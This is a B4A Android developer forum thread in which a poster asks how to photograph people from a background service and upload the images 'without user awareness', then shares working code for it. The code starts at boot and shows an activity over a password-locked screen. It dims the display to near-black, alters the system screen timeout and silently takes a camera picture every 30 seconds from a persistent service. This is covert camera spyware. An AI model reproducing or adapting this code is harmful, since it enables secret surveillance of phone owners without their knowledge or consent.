Android Question Is it possible to capture image programatically from service module without using any activity?

iatall

Member
Licensed User
Longtime User
I am trying to record audio and capture image from service module and then upload it to my server using web request.
Audio recording and upload it to the web server is working fine. But is it also possible with image?
and if its not possible is there any alternate way to capture image in background and then upload it to server without user awareness?
 

DonManfred

Expert
Licensed User
Longtime User
The Camera needs a visible (not paused) activity ro work.
 
Upvote 0

iatall

Member
Licensed User
Longtime User
The Camera needs a visible (not paused) activity ro work.
Thanks for reply.
Alternate way is to call image capture activity from service module. My second question is, it is possible to call activity when phone state is locked and screen is off?
I heard somewhere about transparent activity also. is it possible with this kind of activity or without setting camera focus or even set its x-y origin outside the surface area?
 
Upvote 0

iatall

Member
Licensed User
Longtime User
No. If your screen is off all actrivities are paused
Done it using SetShowWhenLocked.
First I called activity with this method and set screen time out for temp basis. then i reset it again.
Now Service will call activity to capture image even when phone screen is off and is in password protected locked state.

Main Activity :
B4X:
#Region  Project Attributes
    #ApplicationLabel: ImageCapture
    #VersionCode: 1
    #VersionName: landscape
    'SupportedOrientations possible values: unspecified, landscape or portrait.
    #SupportedOrientations: unspecified
    #CanInstallToExternalStorage: False
#End Region

#Region  Activity Attributes
    #FullScreen: False
    #IncludeTitle: True
#End Region

Sub Process_Globals
    'These global variables will be declared once when the application starts.
    'These variables can be accessed from all modules.
     Dim gfilename As String
     Dim Timer1 As Timer
End Sub

Sub Globals
    'These global variables will be redeclared each time the activity is created.
    'These variables can only be accessed from this module.
    Dim camera1 As AdvancedCamera
    Dim Panel1 As Panel
    Dim i As Int = 0
    Dim ScreenTimeout As Int
End Sub

Sub Activity_Create(FirstTime As Boolean)
    'Do not forget to load the layout file created with the visual designer. For example:
    'Activity.LoadLayout("Layout1")
    Activity.LoadLayout("Menu")
    If IsPaused(imgcap) = True Then
'        StartServiceAt("imgcap",DateTime.Now + 10*1000,True)   
        StartService("imgcap")
    End If
End Sub

Sub Activity_Resume      
    SetShowWhenLocked
    ScreenTimeout = GetScreenTimeout
    Log("ScreenTimeout: " & ScreenTimeout)   
    SetScreenTimeout(60000)  
'    WakeState.KeepAlive(False)
    Dim r As Reflector
    r.Target = r.GetActivity
    r.Target = r.RunMethod("getWindow")
    r.RunMethod2("addFlags", 6815872, "java.lang.int")
    Dim p As Phone
'    Dim Value As Float : Value = 0
'    p.SetScreenBrightness(Value/255)
    p.SetScreenBrightness(0.001)
     Timer1.Initialize("Timer1",1000)   
     Timer1.Enabled=True    
     Timer1_Tick    
End Sub
Sub SetShowWhenLocked
   Dim r As Reflector
   r.Target = r.GetActivity
   r.Target = r.RunMethod("getWindow")
   r.RunMethod2("addFlags", 6815872, "java.lang.int")
End Sub
Sub Timer1_Tick
  i = i + 1
  Log(i) 
  If i=2 Then
      camera1.Initialize(Panel1, "Camera1")
  Else If i=4 Then
    camera1.StartPreview    
  Else If i=10 Then       
     camera1 .TakePicture   
  End If
End Sub
Sub Activity_Pause (UserClosed As Boolean)
    SetScreenTimeout(ScreenTimeout)
    StartServiceAt("imgcap",DateTime.Now + 30 * 1000,True)
End Sub

Sub Camera1_PictureTaken (Data() As Byte)
    camera1.StartPreview
    Dim out As OutputStream
    DateTime.DateFormat="yyyyMMddHHmmss"
    gfilename = DateTime.Date(DateTime.Now)
    out = File.OpenOutput(File.DirRootExternal & "/weatall", gfilename & ".jpg", False)
    out.WriteBytes(Data, 0, Data.Length)
    out.Close
    Log("Image saved: " & gfilename)
    Log("image saved.")
    Timer1.Enabled=False
    Dim p As Phone
    p.SetScreenBrightness(200)
    SetScreenTimeout(ScreenTimeout)
    StartService("imgcap")
'    Dim i As Intent
'    i.Initialize(i.ACTION_MAIN, "")
'    i.AddCategory("android.intent.category.HOME")
'    i.Flags = 0x10000000
'    StartActivity(i)
    Activity.Finish
End Sub

Sub Panel1_Touch (Action As Int, X As Float, Y As Float)
    StartServiceAt("imgcap",DateTime.Now + 30 * 1000,True)
    Activity.Finish
End Sub

Sub SetScreenTimeout(Timeout As Int)
   Dim jo As JavaObject
   Return jo.InitializeStatic("android.provider.Settings.System") _
     .RunMethod("putInt", Array As Object(GetContext.RunMethod("getContentResolver", Null) _
     , "screen_off_timeout", Timeout))
     Return Timeout
End Sub

'Return the timeout measured in milliseconds
Sub GetScreenTimeout As Int
   Dim jo As JavaObject
   Return jo.InitializeStatic("android.provider.Settings.System") _
     .RunMethod("getInt", Array As Object(GetContext.RunMethod("getContentResolver", Null) _
     , "screen_off_timeout"))
End Sub

Sub GetContext As JavaObject
  Return GetBA.GetField("context")
End Sub

Sub GetBA As JavaObject
  Dim jo As JavaObject
  Dim cls As String = Me
  cls = cls.SubString("class ".Length)
  jo.InitializeStatic(cls)
  Return jo.GetFieldJO("processBA")
End Sub



-------------------------------------------------------

Service Module :

B4X:
#Region  Service Attributes
    #StartAtBoot: True
    #StartCommandReturnValue: android.app.Service.START_STICKY
#End Region

Sub Process_Globals
    'These global variables will be declared once when the application starts.
    'These variables can be accessed from all modules.
   
End Sub
Sub Service_Create
    Dim n As Notification
    n.Initialize
    n.Icon = Null
    n.Vibrate = False
    n.OnGoingEvent = True
    n.SetInfo("Info", "Prevent from being killed", Main)
    Service.StartForeground(0, n)
End Sub

Sub Service_Start (StartingIntent As Intent)
    If File.Exists(File.DirRootExternal & "/weatall", Main.gfilename & ".jpg") = True Then       
        Log("Service Module: Upload Files")
        File.Delete(File.DirRootExternal & "/weatall", Main.gfilename & ".jpg")
        StartServiceAt("",DateTime.Now + 30 * 1000,True)
        Log("Service Will Restart after 30 seconds")
    Else           
    'If manager.Enabled = False Then
    '        manager.Enable("Please enable in order to get access to the secured server.")
    '    Else
    '        manager.MaximumTimeToLock = 129999 '-- (in milisecond) Equal to 2 minutes
    '    End If       
        Log("Start Main Activity")
        CallSub(Main,"SetShowWhenLocked")
        StartActivity (Main)       
    End If   
End Sub


Sub Service_Destroy

End Sub
 
Upvote 0
Top